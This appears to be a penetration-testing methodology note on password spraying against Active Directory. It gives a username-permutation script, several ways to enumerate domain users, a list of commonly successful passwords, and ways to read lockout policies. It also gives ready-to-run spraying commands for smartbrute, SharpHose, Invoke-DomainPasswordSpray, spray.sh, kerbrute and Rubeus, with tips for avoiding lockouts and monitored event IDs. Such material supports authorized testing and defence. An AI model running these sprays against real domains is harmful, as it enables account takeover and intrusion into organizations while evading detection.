Exploitation - Password spraying

Password spraying refers to the attack method that takes a large number of usernames and attempts authentication with a limited number of likely passwords.

This method avoids accounts lockouts which is usually implemented on Active Directory authentication.

Password spraying all domain users and attempting lateral or vertical movement with the compromised accounts is often more effective than targeting specific users from the get-go.

Usernames list

Generated usernames

The following Python script can be used to generate an usernames list from combinations of first and last names.

#!/usr/bin/env python
import sys
import os.path

# Usage: namemash.py <FILE>.
# FILE: FIRSTNAME LASTNAME entries (one per-line).
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("usage: {} names.txt".format((sys.argv[0])))
        sys.exit(0)

    if not os.path.exists(sys.argv[1]):
        print("{} not found".format(sys.argv[1]))
        sys.exit(0)

    for line in open(sys.argv[1]):
        name = ''.join([c for c in line if  c == " " or  c.isalpha()])

        tokens = name.lower().split()

        # skip empty lines
        if len(tokens) < 1:
            continue

        fname = tokens[0]
        lname = tokens[-1]

        print(fname + lname)           # johndoe
        print(lname + fname)           # doejohn
        print(fname + "." + lname)     # john.doe
        print(lname + "." + fname)     # doe.john
        print(lname + fname[0])        # doej
        print(fname[0] + lname)        # jdoe
        print(lname[0] + fname)        # djoe
        print(fname[0] + "." + lname)  # j.doe
        print(lname[0] + "." + fname)  # d.john
        print(fname)                   # john
        print(lname)                   # joe

From domain controllers

To gather a list of usernames from the domain controllers a domain account is needed.

The Get-DomainUserList cmdlet of DomainPasswordSpray can be used to enumerate enabled users that would not be locked out by a wrong password guess:

Get-DomainUserList` -Domain <DOMAIN> -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii <OUTPUTFILE>

To count the number of user in the domain:

cat <USERNAMES_FILE> | Measure-Object

For more details on possible options, notably to enumerate users from a non enrolled computer, refer to the Active Directory - Domain Recon note.

LDAP Anonymous and NULL bind

Misconfigured LDAP servers may be exploited to leak the usernames of the domain account. By default, anonymous operations to the Active Directory Domain Controllers LDAP services, other than rootDSE searches and binds, are not permitted. If the seventh character of DsHeuristics (CN=Directory Service, CN=Windows NT,CN=Services,CN=Configuration,<ROOT>) attribute is set to 2 (0000002), anonymous clients, authenticated through anonymous / NULL LDAP bind, may perform all the operations permitted, as defined by the Access Control List (ACL) of the domain objetcs, to NT AUTHORITY\ANONYMOUS.

To detect and exploit LDAP Anonymous and NULL bind refer to the L7 - LDAP note.

MSRPC NULL bind on Domain Controllers

Misconfigured permissions may allow a NULL bind on the SAMR or LSARPC RPC services on a Domain Controller, which could be leveraged to enumerate the AD domain user and password policy.

For more information on MSRPC NULL bind, refer to the [L7] MSRPC - Methodology note.

Kerberos bruteforce

Kerberos can be used to enumerate domain accounts by making Ticket-Granting Ticket (TGT) requests, with no pre-authentication, to the Key Distribution Center (KDC) with out the need of having a domain joined account.

Indeed, whenever an username specified for a TGT request does not exist, the KDC will respond with a KDC_ERR_C_PRINCIPAL_UNKNOWN error. If the account does exist, the KDC will request a pre authentication before delivering the TGT (KDC_ERR_PREAUTH_REQUIRED).

Note that if an account has the value DONT_REQ_PREAUTH in the UserAccountControl attribute, a TGT will be delivered with out pre authentication which allows for the offline brute-forcing of the TGT. Refer to the Active Directory - AS-REP Roasting note for more information on the attack.

Rubeus (Zer1to’s fork: https://github.com/Zer1t0/Rubeus), nmap's krb5-enum-users script, Kerbrute and metasploit's auxiliary/gather/kerberos_enumusers module can be used to enumerate usernames through Kerberos:

nmap -v -p 88 --script krb5-enum-users --script-args krb5-enum-users-realm='<DOMAIN_FQDN>',userdb=<WORDLIST_USER> <KDC_IP | KDC_HOSTNAME>

kerbrute userenum [--dc <KDC_IP | KDC_HOSTNAME>] -d <DOMAIN> <WORDLIST_USERS>

# Will conduct password bruteforcing as well
Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>

use auxiliary/gather/kerberos_enumusers

Passwords list

For the success of a password attack, a good password list is essential.

The passwords must satisfied the password policy defined for the domain. To retrieve the password policy enforced, refer to the Active Directory - Domain Recon note.

The following passwords have been tried with great success:

<COMPANY_NAME><YEAR>
<COMPANY_NAME><YEAR>!
Bonjour<YEAR>
Bonjour<YEAR>!
Azerty1234
Azerty1234!

Password and account lockout policies

The following commands can be used to determine the password and account lockout policies enforced on the domain:

# Parsed and human readable password and lockout policies
net accounts
net accounts /domain

# PowerShell
$RootDSE = Get-ADRootDSE
$RootDSE = Get-ADRootDSE -Server <DC> -Credential <PSCredential>
# Password policy
Get-ADObject $RootDSE.defaultNamingContext -Properties minPwdAge, maxPwdAge, minPwdLength, pwdHistoryLength, pwdProperties
# Account lockout policy
Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold

# AdFind.exe
AdFind.exe -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties

Default password complexity rule (pwdProperties : 1) of Active Directory requires that passwords contain characters from three of the following five categories:

  • Uppercase characters of European languages

  • Lowercase characters of European languages

  • Base 10 digits (0 through 9)

  • Nonalphanumeric characters: ~!@#$%^&*_-+=\`|\(){}[]:;"'<>,.?/

  • Any Unicode character that is categorized as an alphabetic character but is not uppercase or lowercase (includes Unicode characters from Asian languages)

The badPwdCount is reset to 0 after:

  • the lockoutObservationWindow time has completed with out a bad password attempt

  • a successful authentication was conducted

  • in case of a locked out account, the lockoutDuration time has completed or the account was manually unlocked

Note that, for some reason, the minPwdAge and maxPwdAge password policy properties and the lockout time is expressed in negative nanoseconds and must be divided by "-600000000" to be converted in effective minutes of lockout.

The following PowerShell one-liner can be used to this end:

$AccountPolicy = Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold

$AccountPolicy | Select @{n="PolicyType";e={"Account Lockout"}}, DistinguishedName, @{n="lockoutDuration";e={"$($_.lockoutDuration / -600000000) minutes"}}, @{n="lockout
ObservationWindow";e={"$($_.lockoutObservationWindow / -600000000) minutes"}}, lockoutThreshold | Format-List

Fined Grained Password Policy enumeration

Introduced in the Windows Server 2008 Active Directory functional level, Fined Grained Password Policy (FGPP) is a functionality that allow the definition of password complexities and account lockout policies for different groups of users.

Note that while first available in Windows Server 2008, administrative tools adapted to the configuration of FGPP were released with Windows Server 2012.

# Enumerates the FGPP configured (including the FGPP's name, the AD group it applies to, password complexity and lockout policy).
Get-ADFineGrainedPasswordPolicy -Filter *

# Lists the users that are not associated to all or a specific FGPP.
$FGPP_groups = @("<FGPP_GROUP>" | "<FGPP_GROUP1>", "<FGPP_GROUP2>")

$FGPP_users = foreach ($group in $FGPP_groups) {
    Get-ADGroupMember -Recursive $group | Select SamAccountName
}

$all_users = Get-ADUser -Filter * | Select SamAccountName

(Compare-Object $all_users $FGPP_users).InputObject

Spraying

[Windows] Automated enumeration and spraying

smartbrute - Recommended

smartbrute is a Python utility that can be used to both conduct unauthenticated and authenticated password spraying (to first retrieve password policies and avoid accounts lock out).

smartbrute supports both authentication bruteforce over NTLM or Kerberos (pre-authentication). NTLM authentication failures will generate 4625 failed logon events, while Kerberos pre-authentication failures will generate 4771 Kerberos pre-authentication failed events.

# Unauthenticated password spraying.
smartbrute.py brute -d <DOMAIN> [--no-enumeration] [--line-per-line] <-bu <USERNAME> | -bU <USERNAME_FILE>> <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <ntlm | kerberos>

# Authenticated password spraying to retrieve the password policies and avoid account lockouts.
# AUTH_PROTOCOL & BRUTEFORCE_PROTOCOL can both be ntlm or Kerberos.
smartbrute.py smart [--line-per-line] <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <AUTH_PROTOCOL> -d <DOMAIN> -u <AUTH_KNOWN_USER> -p <AUTH_KNOWN_PASSWORD> <BRUTEFORCE_PROTOCOL>

SharpHose - Recommended

SharpHose is a C# tool that enumerate the AD domain users and password policies, including fine-grained password policies (Active Directory domain functional level must be Windows Server 2012 or newer). The fine-grained password policies are linked to the users or groups they apply to in order to precisely determine if an account can be safely bruteforced.

In addition to password spraying, SharpHose can be used to enumerate the domain policies or list the users the specified domain policy is applied to.

# Sprays the specified password
SharpHose.exe --action SPRAY_USERS --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>
SharpHose.exe --action SPRAY_USERS --domain "<DOMAIN>" --controller "<DC_IP | DC_HOSTNAME>" --username "<USERNAME>" --password "<PASSWORD>" --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>

# Enumerates the domain password policy and domain fine-grained password policies
SharpHose.exe --action GET_POLICIES

# Lists the users the specified password policy is applied to
SharpHose.exe --action GET_POLICY --policy

Invoke-DomainPasswordSpray

The PowerShell cmdlet Invoke-DomainPasswordSpray will generate the usernames list of enabled domain accounts and will automatically attempt to detect the domain's lockout policy. Sprays are restricted to one attempt during the lockout window and accounts that would not be locked out by a wrong password guess.

An optional usernames list file can also be provided.

Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -Password <PASSWORD> -OutFile <OUTPUTFILE>
Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -PasswordList <PASSWORDS_FILE> -OutFile <OUTPUTFILE>

[Linux] Over SMB

spray.sh is a bash scrip that can be used to carry out Active Directory passwords spraying. It will conduct the brute force over SMB using the rpcclient utility.

It can use the password policy of the domain as input to prevent accounts lockout.

# "skipuu" option to skip trying the username as password
spray.sh -smb <DC_IP> <WORDLIST_USERS> <WORDLIST_PASSWORDS> <ATTEMPTS_PER_LOCKOUT_PERIOD> <LOCKOUT_PERIOD_IN_MINUTES> <DOMAIN> skipuu

# Example
spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS

To retrieve the obtained accounts:

grep 'Authority Name' logs/spray-logs.txt
grep -v NT_STATUS_LOGON_FAILURE logs/spray-logs.txt

Over Kerberos

Note that log-on failures over Kerberos do not generate the classical Windows Security Log Event ID 4625: An account failed to log on. Indeed, the failures are logged as Windows Security Log Event ID 4771: Kerberos pre-authentication failed, that have an higher chance of not being monitored. It will still howerver increment the failed login count and lock out accounts.

Rubeus (Zer1to’s fork: https://github.com/Zer1t0/Rubeus) and Kerbrute can be used to conduct passwords spraying attacks through Kerberos:

kerbrute passwordspray [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS> '<PASSWORD>'
# Username and password combinations in the format username:password
kerbrute bruteforce [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS_PASSWORDS>

Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>

References

https://social.technet.microsoft.com/Forums/ie/en-US/79978325-549e-42b3-a532-1e26775982bf/how-to-reset-badpwdcount-value?forum=winserverDS

Last updated